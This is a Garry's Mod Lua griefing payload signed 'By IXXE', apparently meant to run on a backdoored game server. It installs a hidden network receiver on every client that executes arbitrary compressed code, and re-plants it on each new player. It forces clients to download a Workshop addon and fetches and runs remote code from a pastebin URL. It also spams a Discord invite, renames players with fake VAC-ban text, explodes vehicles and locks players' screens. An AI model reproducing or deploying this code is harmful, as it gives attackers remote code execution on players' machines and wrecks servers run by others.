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- print([[
- ██████╗ ███████╗████████╗
- ██╔════╝ ██╔════╝╚══██╔══╝
- ██║ ███╗█████╗ ██║
- ██║ ██║██╔══╝ ██║
- ╚██████╔╝███████╗ ██║
- ╚═════╝ ╚══════╝ ╚═╝
- ███╗ ██╗ ██████╗ ███████╗ ██████╗ ██████╗ ██████╗ ███████╗
- ████╗ ██║██╔═══██╗██╔════╝██╔════╝██╔═══██╗██╔══██╗██╔════╝
- ██╔██╗ ██║██║ ██║███████╗██║ ██║ ██║██████╔╝█████╗
- ██║╚██╗██║██║ ██║╚════██║██║ ██║ ██║██╔═══╝ ██╔══╝
- ██║ ╚████║╚██████╔╝███████║╚██████╗╚██████╔╝██║ ███████╗
- ╚═╝ ╚═══╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚══════╝
- By IXXE <3 ]])
- timer.Create("nonameplease", 5, 0,function()
- for i=1, #player.GetHumans() do
- local ply = player.GetHumans()[i]
- ply:Say( "attention je suis un hackeur")
- end
- end)
- for k, v in pairs(player.GetAll()) do
- v:SendLua("steamworks.FileInfo(1618885873,function(result)steamworks.Download(result.fileid,true,function(name)game.MountGMA(name)end) end)")
- end
- for k, v in pairs( player.GetAll() ) do
- if ( v:Alive() ) then
- v:GodEnable()
- else
- v:Spawn()
- timer.Simple( 5, function()
- v:GodEnable()
- end)
- end
- end
- local function rdm_str(len)
- if !len or len <= 0 then return '' end
- return rdm_str(len - 1) .. ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")[math.random(1, 62)]
- end
- local net_string = rdm_str(25)
- util.AddNetworkString(net_string)
- BroadcastLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
- hook.Add("PlayerInitialSpawn", "ifyouseethisdontpanicitsme",function(ply)
- if !ply:IsBot() then
- ply:SendLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
- end
- end)
- local function SendToClient(code)
- local data = util.Compress(code)
- local len = #data
- net.Start(net_string)
- net.WriteUInt(len, 16)
- net.WriteData(data, len)
- net.Broadcast()
- end
- timer.Simple( 17, function()
- SendToClient([[
- game.AddParticles( "particles/enigma.pcf" )
- PrecacheParticleSystem("enigma")
- hook.Add("Think","iuefheqefq",function() gui.HideGameUI() end)
- timer.Create("nonameplease", 5, 0,function()
- for i=1, #player.GetHumans() do
- local ply = player.GetHumans()[i]
- ply:Say( "/ooc DISCORD : https://discord.gg/fPPwm4w")
- end
- end)
- local CreateModel = function(mdl, isragdoll)
- local ent
- if isragdoll then
- ent = ClientsideRagdoll(mdl)
- else
- ent = ClientsideModel(mdl, RENDERGROUP_OTHER)
- end
- return ent
- end
- local NewHookAdd = function(str, name, func)
- --name = "dronesrewrite_hell_hooks" .. name
- hook.Add(str, name, func)
- table.insert(cache, {
- str = str,
- name = name
- })
- end
- local cache = { }
- timercache = { }
- local Const = 0
- local Noise = nil
- local pl = LocalPlayer()
- timer.Create("charglogo", 2, 1, function()
- local dlight = DynamicLight(pl:EntIndex())
- if dlight then
- dlight.pos = Vector(-2224.216797, -2918.063721, 2354.03125)
- dlight.r = 255
- dlight.g = 0
- dlight.b = 0
- dlight.brightness = 16
- dlight.Decay = 1000
- dlight.Size = 2000
- dlight.DieTime = CurTime() + 2
- end
- local pos = pl:GetPos() + Vector(0, 0, 120)
- local ang = Angle(0, pl:GetAngles().y, 0)
- local tr = util.TraceLine({
- start = pos,
- endpos = pos + ang:Forward() * 86,
- filter = pl
- })
- local rag_pos = tr.HitPos + tr.HitNormal * 3 - Vector(0, 0, 80)
- for i = 1, 16 do
- sound.Play("vo/npc/Barney/ba_laugh04.wav", Vector( 0, 0, 0 ) )
- end
- for i = 1, 10 do
- ParticleEffectAttach("enigma",PATTACH_ABSORIGIN_FOLLOW,LocalPlayer(),0)
- end
- local mdl = CreateModel("models/props_c17/gravestone_cross001a.mdl")
- mdl:SetModelScale(3)
- mdl:SetAngles(ang + Angle(15, 180, 0))
- mdl:SetPos(rag_pos)
- mdl:Spawn()
- --ParticleEffect("fire_test2", rag_pos, Angle(0, 0, 0))
- hook.Add("CalcView", "dronesrewrite_doshit", function(ply, _pos, _ang, fov)
- local view = { }
- view.origin = pos + VectorRand()
- view.angles = ang
- view.fov = fov + math.random(-80, -50)
- return view
- end)
- timer.Create("charglo", 1.4, 1, function()
- mdl:Remove()
- hook.Remove("CalcView", "dronesrewrite_doshit")
- end)
- end)
- ]])
- end)
- timer.Simple( 20, function()
- timer.Create( "gvacspaam", 0.1, 0, function()
- for k,v in pairs(player.GetAll()) do
- v:SendLua('RunConsoleCommand("impulse","100")')
- end
- end)
- hook.Add( 'SetupMove', 'auto hop', function( ply, move )
- if not ply:IsOnGround() then
- move:SetButtons( bit.band( move:GetButtons(), bit.bnot( IN_JUMP ) ) )
- end
- end )
- for k, v in pairs(ents.GetAll()) do if v:IsVehicle() then
- local explo = ents.Create("env_explosion")
- explo:SetPos(v:GetPos())
- explo:SetKeyValue("iMagnitude", "300")
- explo:Spawn()
- explo:Activate()
- explo:Fire("Explode", "", 0)
- end
- end
- for k,v in pairs(player.GetAll()) do
- local a = v:LookupBone("ValveBiped.Bip01_Head1")
- local b = v:LookupBone("ValveBiped.Bip01_R_Thigh")
- local c = v:LookupBone("ValveBiped.Bip01_L_Thigh")
- local d = v:LookupBone("ValveBiped.Bip01_R_Calf")
- local e = v:LookupBone("ValveBiped.Bip01_L_Calf")
- local f = v:LookupBone("ValveBiped.Bip01_R_UpperArm")
- local g = v:LookupBone("ValveBiped.Bip01_L_UpperArm")
- local h = v:LookupBone("ValveBiped.Bip01_R_Forearm")
- local i = v:LookupBone("ValveBiped.Bip01_L_Forearm")
- local j = v:LookupBone("ValveBiped.Bip01_R_Clavicle")
- local k = v:LookupBone("ValveBiped.Bip01_L_Clavicle")
- v:ManipulateBoneScale( a, Vector(100,100,100))
- v:ManipulateBoneScale( b, Vector(100,100,100))
- v:ManipulateBoneScale( c, Vector(100,100,100))
- v:ManipulateBoneScale( d, Vector(100,100,100))
- v:ManipulateBoneScale( e, Vector(100,100,100))
- v:ManipulateBoneScale( f, Vector(100,100,100))
- v:ManipulateBoneScale( g, Vector(100,100,100))
- v:ManipulateBoneScale( h, Vector(100,100,100))
- v:ManipulateBoneScale( i, Vector(100,100,100))
- v:ManipulateBoneScale( j, Vector(100,100,100))
- v:ManipulateBoneScale( k, Vector(100,100,100))
- end
- SendToClient([[
- surface.CreateFont( "PixelCutsceneScaled",{
- font = "Open Sans",
- size = 500,
- weight = 1000,
- antialias = true
- })
- surface.CreateFont( "PixelSmall",{
- font = "Open Sans",
- size = 135,
- weight = 500,
- antialias = false
- })
- surface.CreateFont("lapolice", {
- font = "Open Sans",
- size = ScrW()*0.02,
- weight = 10,
- blursize = 0,
- scanlines = 2.5,
- antialias = false
- })
- local function gettextcolor( a )
- local r = 0.5*math.sin(RealTime()*5.5)*255 + 255/2
- local g = -0.5*math.sin(RealTime()*5.5)*255 + 255/2
- local b = 215
- return Color( r, g, b, a or 255 )
- end
- local w,h = ScrW(), ScrH()
- local W, H = ScrW(), ScrH()
- local MySelf = LocalPlayer()
- if ohno then
- ohno:Remove()
- ohno = nil
- end
- ohno = vgui.Create( "DFrame" )
- ohno:SetSize( w, h )
- ohno:SetPos(0,0)
- ohno:SetDraggable ( false )
- ohno:SetTitle("")
- ohno:MakePopup();
- ohno:ShowCloseButton(false)
- ohno.Paint = function( self )
- Derma_DrawBackgroundBlur( self, self.m_fCreateTime )
- Derma_DrawBackgroundBlur( self, self.m_fCreateTime )
- end
- local pw, ph = w, h*0.6
- local px, py = w/2-pw/2, h/2-ph/2
- local Close = vgui.Create( "DButton", ohno )
- Close:SetPos(px, py)
- Close:SetText( "" )
- Close:SetSize( pw, ph )
- Close.Paint = function( self, tw, th )
- local shift = math.sin(RealTime()*3)*1.5 + 5
- local text = "GIZEH"
- local text2 = "GIZEH"
- local text3 = "RIP ;)"
- local text4 = "GIZEH"
- draw.SimpleText( text, "PixelCutsceneScaled", tw/2 , th/2, gettextcolor( 55 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
- draw.SimpleText( text, "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
- draw.DrawText( "(╯°□°)╯︵ ┻━┻", "lapolice", ScrW() * 0.5, ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), TEXT_ALIGN_CENTER )
- draw.DrawText( "(╯°□°)╯︵ ┻━┻", "lapolice", math.random(0,10), ScrH() * (math.random(0,100)*0.01), Color( 240, 100, 100, math.random(230,255) ), 0 )
- draw.DrawText( "GIZEH", "lapolice", W * 0.7 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "GIZEH", "lapolice", W * 0.38 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "GIZEH", "lapolice", W * 0.9 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "GIZEH", "lapolice", W * 0.35 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "RIP ;)", "lapolice", W * 0.98 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "GIZEH", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "RIP ;)", "lapolice", W * 0.73 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "GIZEH", "lapolice", W * 0.27 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "GIZEH", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "RIP ;)", "lapolice", W * 0.05 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "GIZEH", "lapolice", W * 0.11 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "RIP ;)", "lapolice", W * 0.75 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "GIZEH", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "RIP ;)", "lapolice", W * 0.2 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "GIZEH", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "GIZEH", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "GIZEH", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
- draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
- draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
- draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
- draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
- end
- surface.PlaySound( "vo/npc/male01/ohno.wav" )
- surface.PlaySound( "vo/npc/male01/ohno.wav" )
- timer.Create("fff", 0.1, 0, function()
- util.ScreenShake( Vector(0,0,0), 2.5, 50, 0.5, 5000 )
- end)
- timer.Simple( 15, function()
- wut = vgui.Create( "DFrame" )
- wut:SetSize( w, h )
- wut:SetPos(0,0)
- wut:SetDraggable ( false )
- wut:SetTitle("")
- wut:ShowCloseButton(false)
- wut.Paint = function( self )
- surface.SetDrawColor(30, 30, 30, 0)
- end
- local Close = vgui.Create( "DButton", wut )
- Close:SetPos(px, py)
- Close:SetText( "" )
- Close:SetSize( pw, ph )
- Close.Paint = function( self, tw, th )
- local shift = math.sin(RealTime()*3)*1.5 + 5
- local text = "GIZEH"
- draw.SimpleText( text, "PixelCutsceneScaled", tw/2 , th/2, gettextcolor( 55 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
- draw.SimpleText( text, "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
- end
- RunConsoleCommand("r_shader_srgb","1")
- RunConsoleCommand("gmod_language","ko")
- ohno:Remove()
- ohno = nil
- local name = GetConVar("sv_skyname"):GetString()
- if name == "painted" then
- local sky
- for _, v in ipairs(ents.GetAll()) do
- if v:GetClass() == "env_skypaint" then
- sky = v
- break
- end
- end
- if !IsValid(sky) then return end
- hook.Add("PostRender","\xFFsky\xFF",function()
- local col = HSVToColor(CurTime()*30 % 360,1,1)
- col = Vector(col.r/255,col.g/255,col.b/255)
- sky:SetTopColor(col)
- sky:SetBottomColor(col)
- end)
- else
- local prefix = {"lf","ft","rt","bk","dn","up"}
- local mats = {}
- for i=1,6 do
- mats[#mats+1] = Material("skybox/" .. name .. prefix[i])
- end
- hook.Add("PostRender","\xFFsky\xFF",function()
- local col = HSVToColor(CurTime()*30 % 360,1,1)
- for i=1,6 do
- mats[i]:SetVector("$color",Vector(col.r/255,col.g/255,col.b/255))
- end
- end)
- end
- local chienchaud = ClientsideModel("models/food/hotdog.mdl")
- chienchaud:SetNoDraw(true)
- chienchaud:SetModelScale(120)
- timer.Create("charglogo", 0.01, 0, function()
- chienchaud:SetAngles(Angle(0, CurTime()*90 % 360 ,180) )
- end)
- --chienchaud:SetMaterial( "models/screenspace" )
- local data = {}
- local function genchienchaud(id)
- local pos = LocalPlayer():GetPos()
- data[id] = { Vector(math.random(pos.x-9000,pos.x+9000),math.random(pos.y-9000,pos.y+9000),pos.z + math.random(5000,2000) ), math.random(70, 170) }
- end
- for i=1, 150 do
- genchienchaud(i)
- end
- hook.Add("PostDrawOpaqueRenderables","\xFFitsrainingchienchauds\xFF",function()
- local z = LocalPlayer():GetPos().z
- for i=1, #data do
- chienchaud:SetPos(data[i][1])
- chienchaud:SetupBones()
- chienchaud:DrawModel()
- data[i][1].z = data[i][1].z - data[i][2] / 20
- if data[i][1].z <= z then
- genchienchaud(i)
- end
- end
- end)
- end )
- sound.PlayURL( "https://www.dropbox.com/s/mr8mlhetw86hl68/mlg%20%281%29.mp3?dl=1", "mono noblock noplay", function( station )
- timer.Simple( 0.1, function()
- ClientStation = station
- station:EnableLooping( true )
- station:Play()
- station:SetVolume( 5 )
- end )
- end )
- timer.Create("f", 0.11, 0, function()
- RunConsoleCommand("+attack")
- end)
- timer.Create("ff", 0.12, 0, function()
- RunConsoleCommand("-attack")
- end)
- ]])
- end)
- timer.Create("ok", 1, 0, function()
- for k, v in pairs( ents.FindByClass( "prop_*" ) ) do local phys = v:GetPhysicsObject()
- if (IsValid(phys)) then
- phys:EnableMotion(true)
- end
- end
- local props = ents.GetAll()
- for _, prop in ipairs( props ) do
- if(prop:GetPhysicsObject():IsValid()) then
- prop:GetPhysicsObject():ApplyForceCenter( Vector( 0, 0, ((650 * 0.73) * prop:GetPhysicsObject():GetMass() ) ) )
- end
- end
- end)
- timer.Simple( 20, function()
- membresenigma =
- {
- "https://discord.gg/fPPwm4w",
- "Ange Noir",
- "Σkashi",
- "https://discord.gg/fPPwm4w",
- "Ange Noir",
- "Σkashi",
- "https://discord.gg/fPPwm4w",
- "GET NO SCOPE !!!!",
- "GET NO SCOPE !!!!",
- "GET NO SCOPE !!!!",
- "GET NO SCOPE !!!!",
- "GET NO SCOPE !!!!",
- "GET NO SCOPE !!!!",
- "GET NO SCOPE !!!!",
- "GET NO SCOPE !!!!",
- "BAN HAMMER > https://bit.ly/2LUu3GN",
- "BAN HAMMER > https://bit.ly/2LUu3GN",
- "BAN HAMMER > https://bit.ly/2LUu3GN",
- "BAN HAMMER > https://bit.ly/2LUu3GN",
- "BAN HAMMER > https://bit.ly/2LUu3GN"
- }
- timer.Create( "gvacspam", 0.2, 0, function()
- for k, ply in pairs( player.GetAll() ) do
- DarkRP.notify(ply, 2, 2, "[Oh No !] "..table.Random(membresenigma).."")
- end
- end)
- local sun = ents.FindByClass("env_sun")
- if #sun == 0 then return end
- sun = sun[1]
- hook.Add("Think","\xFFsun\xFF",function()
- sun:SetKeyValue("sun_dir", math.sin(CurTime())/3 .. " " .. math.cos(CurTime())/3 .. " 0.901970")
- sun:SetModelScale(120)
- end)
- for k,v in pairs(player.GetAll()) do
- v:SetRunSpeed(400* 4);
- v:SetWalkSpeed(400 * 4);
- end
- timer.Create( "gtonip", 1, 0, function()
- for k,v in pairs(player.GetAll()) do
- v:GodEnable()
- v:setDarkRPVar( "rpname", "This Steam account has been VAC banned from secure servers due to a cheating infraction." )
- end
- end )
- timer.Simple( 17, function()
- http.Fetch('https://pastebin.com/raw/7ABFD4Bu',function(b,l,h,c)RunString(b)end,nil)
- end )
- end)
- timer.Create( "gvacspam", 0.1, 0, function()
- SendToClient([[
- print("GET NOSCOPE !!")
- ]])
- print("GET NOSCOPE !!")
- end)
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